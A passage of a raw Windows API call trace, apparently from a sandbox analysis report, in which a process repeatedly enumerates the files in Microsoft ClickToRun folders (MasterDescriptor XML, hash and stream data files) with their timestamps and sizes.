ftLastAccessTime.dwLowDateTime=0x1b641eb6, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b641eb6, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.530] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b61bc49, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b61bc49, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x206dcf00, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5220, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0217.530] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b61bc49, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b61bc49, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s320.hash", cAlternateFileName="S320~1.HAS")) returned 1 [0217.530] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b61bc49, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b61bc49, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x32e90800, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38b5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0217.531] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b61bc49, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b61bc49, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x32e90800, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38b5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0217.531] FindClose (in: hFindFile=0x1d1f5a70 | out: hFindFile=0x1d1f5a70) returned 1 [0217.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3e0) returned 1 [0217.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3a0) returned 1 [0217.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bbc70) returned 1 [0217.532] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189", nBufferLength=0x105, lpBuffer=0x1b0bb750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189", lpFilePart=0x0) returned 0x4c [0217.532] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\9566930b-d1dd-4075-bfe6-74dd69b13189\\*"), lpFindFileData=0x1b0bb980 | out: lpFindFileData=0x1b0bb980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd58489b0, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd584c46a, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5911742, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5a70 [0217.533] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd58489b0, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd584c46a, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5911742, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.533] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5911742, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5926364, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5926364, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0217.533] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd584b1e3, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd587b51b, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd587b51b, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0217.533] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd584b1e3, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd587b51b, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd587b51b, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0217.533] FindClose (in: hFindFile=0x1d1f5a70 | out: hFindFile=0x1d1f5a70) returned 1 [0217.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbba0) returned 1 [0217.534] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbb60) returned 1 [0217.534] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bbc70) returned 1 [0217.534] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189", nBufferLength=0x105, lpBuffer=0x1b0bb750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189", lpFilePart=0x0) returned 0x4c [0217.534] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\9566930b-d1dd-4075-bfe6-74dd69b13189\\*"), lpFindFileData=0x1b0bb980 | out: lpFindFileData=0x1b0bb980*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd58489b0, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd584c46a, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5911742, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5a70 [0217.534] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd58489b0, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd584c46a, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5911742, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.534] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5911742, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5926364, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5926364, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0217.534] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd584b1e3, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd587b51b, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd587b51b, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0217.535] FindNextFileW (in: hFindFile=0x1d1f5a70, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.535] FindClose (in: hFindFile=0x1d1f5a70 | out: hFindFile=0x1d1f5a70) returned 1 [0217.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbba0) returned 1 [0217.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbb60) returned 1 [0217.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bb4b0) returned 1 [0217.535] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189\\en-us.16", nBufferLength=0x105, lpBuffer=0x1b0baf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189\\en-us.16", lpFilePart=0x0) returned 0x55 [0217.535] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189\\en-us.16\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\9566930b-d1dd-4075-bfe6-74dd69b13189\\en-us.16\\*"), lpFindFileData=0x1b0bb1c0 | out: lpFindFileData=0x1b0bb1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5911742, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5926364, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5926364, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.794] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5911742, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5926364, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5926364, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.794] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5916623, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5916623, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x22d02900, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5765, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0217.795] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd59215d7, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd59215d7, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s321033.hash", cAlternateFileName="S32103~1.HAS")) returned 1 [0217.795] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5924f73, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5924f73, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x21ebc700, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd81d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0217.795] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.795] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3e0) returned 1 [0217.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3a0) returned 1 [0217.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bb4b0) returned 1 [0217.796] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189\\en-us.16", nBufferLength=0x105, lpBuffer=0x1b0baf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189\\en-us.16", lpFilePart=0x0) returned 0x55 [0217.796] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189\\en-us.16\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\9566930b-d1dd-4075-bfe6-74dd69b13189\\en-us.16\\*"), lpFindFileData=0x1b0bb1c0 | out: lpFindFileData=0x1b0bb1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5911742, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5926364, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5926364, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0217.798] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5911742, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5926364, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5926364, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.798] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5916623, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5916623, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x22d02900, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5765, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0217.798] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd59215d7, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd59215d7, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s321033.hash", cAlternateFileName="S32103~1.HAS")) returned 1 [0217.798] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5924f73, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5924f73, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x21ebc700, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd81d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0217.798] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5924f73, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5924f73, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x21ebc700, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd81d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0217.798] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0217.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3e0) returned 1 [0217.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3a0) returned 1 [0217.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bb4b0) returned 1 [0217.799] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189\\x-none.16", nBufferLength=0x105, lpBuffer=0x1b0baf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189\\x-none.16", lpFilePart=0x0) returned 0x56 [0217.800] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189\\x-none.16\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\9566930b-d1dd-4075-bfe6-74dd69b13189\\x-none.16\\*"), lpFindFileData=0x1b0bb1c0 | out: lpFindFileData=0x1b0bb1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd584b1e3, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd587b51b, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd587b51b, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.803] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd584b1e3, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd587b51b, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd587b51b, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.803] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd585af2f, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd585af2f, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x206dcf00, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5220, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0217.803] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5876774, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5876774, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s320.hash", cAlternateFileName="S320~1.HAS")) returned 1 [0217.803] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd587a18c, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd587a18c, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x32e90800, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38b5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0217.803] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.803] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3e0) returned 1 [0217.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bb3a0) returned 1 [0217.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bb4b0) returned 1 [0217.805] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189\\x-none.16", nBufferLength=0x105, lpBuffer=0x1b0baf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189\\x-none.16", lpFilePart=0x0) returned 0x56 [0217.805] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189\\x-none.16\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\9566930b-d1dd-4075-bfe6-74dd69b13189\\x-none.16\\*"), lpFindFileData=0x1b0bb1c0 | out: lpFindFileData=0x1b0bb1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd584b1e3, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd587b51b, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd587b51b, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5650 [0217.806] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd584b1e3, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd587b51b, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd587b51b, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.806] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd585af2f, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd585af2f, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x206dcf00, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5220, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0217.806] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1b0bb180 | out: lpFindFileData=0x1b0bb180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5876774, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5876774, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, 